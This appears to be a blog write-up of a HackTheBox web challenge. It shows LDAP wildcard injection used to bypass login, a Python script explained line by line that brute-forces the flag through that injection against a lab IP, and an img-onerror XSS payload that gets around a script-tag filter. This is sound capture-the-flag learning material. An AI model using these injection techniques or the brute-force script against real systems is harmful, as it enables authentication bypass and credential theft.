HackTheBox Playlist:
First I looked for any cookie,then I thought it was an SQL injection:

Then I used FFuF but did’nt find anything interesting.Ffuf is a fest web fuzzer written in Go that allows typical directory discovery, virtual host discovery (without DNS records) and GET and POST parameter fuzzing.
Vulnerability:
I see that note from Reese stated that we can login using the workstation’s username and password. This gives us a hint that it is probably usingLDAP authentication.
Let,s test:

It is using LDAP authentication.

Then I searched for the user Reese. The results prove that the user exists.If I enter “ A* ” into the search filter, hoping that all names will appear.

So I tried with the username with an asterisk (*) as password.


This works.I think the flag may be the password so I tried this:
'username': 'Reese','password': 'HTB{*'
It works. So let’s construct a python code to bruteforce the flag:

You can find the code here:
import requests
: This imports therequests
library, which allows Python to send HTTP requests using simple commands.import string
: This imports thestring
module, which provides various string-related functions.ip = '161.35.36.167:30840'
: This defines a variableip
which holds the IP address and port of the target website.url = f'http://{ip}/login'
: This creates a stringurl
which holds the URL of the login page of the target website.check = f'http://{ip}/'
: This creates a stringcheck
which holds the URL of the home page of the target website.alphabet = list(string.ascii_lowercase + string.digits + string.punctuation + string.whitespace)
: This creates a listalphabet
which contains all lowercase letters, digits, punctuation marks and whitespace characters.alphabet.remove('*')
: This removes the*
character from thealphabet
list.data = {'username': 'Reese', 'password': 'anything'}
: This creates a dictionarydata
with two key-value pairs, where theusername
isReese
and thepassword
isanything
.result = 'HTB{'
: This initializes a stringresult
toHTB{
.flag = True
: This sets a boolean variableflag
toTrue
.while flag:
: This starts awhile
loop which runs as long asflag
isTrue
.for a in alphabet:
: This starts afor
loop which iterates over each charactera
in thealphabet
list.data['password'] = result + a +'*'
: This sets the value ofpassword
in thedata
dictionary to a combination ofresult
,a
and*
.res = requests.post(url, data=data).url
: This sends a POST request to the login page of the target website with thedata
dictionary as the payload, and assigns the URL of the response to theres
variable.if res == check:
: This checks if theres
variable is equal to thecheck
variable.result += a
: This appends the charactera
to theresult
variable.print(result)
: This prints the current value of theresult
variable.if a == '}': flag = False
: This checks if the charactera
is equal to}
, and sets theflag
variable toFalse
if it is.break
: This exits thefor
loop and continues with thewhile
loop.print(result)
: This prints the final value of theresult
variable

I also found an XSS Vulnerability:

http://183.163.135.60:45329/login?message=Authentication failed
What ever is in the message is written on the page:

But it blocks script tag so in used an image tag, payload:
<img src=x onerror=alert(‘Adi’)> , and it worked.

Comments
Post a Comment